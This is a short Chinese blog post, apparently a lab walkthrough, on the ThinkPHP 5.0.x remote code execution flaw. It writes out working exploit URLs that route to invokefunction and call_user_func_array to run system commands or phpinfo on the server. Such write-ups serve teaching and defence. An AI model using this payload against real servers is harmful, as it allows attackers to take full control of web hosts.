ThinkPHP5.0.21远程命令执行漏洞

漏洞出现的背景

ThinkPHP是⼀款运⽤极⼴的PHP开发框架。
其5.0.23以前的版本中,获取method的⽅法中没有正确处理⽅法名,
导致攻击者可以调⽤Request类任意⽅法并构造利⽤链,从⽽导致远程代码执⾏漏洞。
由于ThinkPHP5框架对控制器名没有进⾏⾜够的安全检测,导致在没有开启强制路由的情况下,构造特定的请求。

从网上下载源码

ThinkPHP5.0.21远程命令执行漏洞_第1张图片

从网上搜索thinkphp5.0.21漏洞,发现存在远程命令执行漏洞

ThinkPHP 5.0<5.0.23&5.1<5.1.31版本在没有开启强制路由的情况下可能存在远程代码执行漏洞。攻击者通过该漏洞可能完全控制Web服务器。 

ThinkPHP5.0.21远程命令执行漏洞_第2张图片

:网页只显示了tinkphp,我们已知thinkphp是存在漏洞的,直接Github搜索thinkphp漏洞(https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection),发现:

ThinkPHP5.0.21远程命令执行漏洞_第3张图片

通过github上面的漏洞报告可知,我们可以

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令参数

就是远程代码执行漏洞啦,输入命令就返回什么 。

举个例子,我们可以让他执行phpinfo操作,输入;

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

成功执行命令执行漏洞,回显php

ThinkPHP5.0.21远程命令执行漏洞_第4张图片

 

你可能感兴趣的:(安全)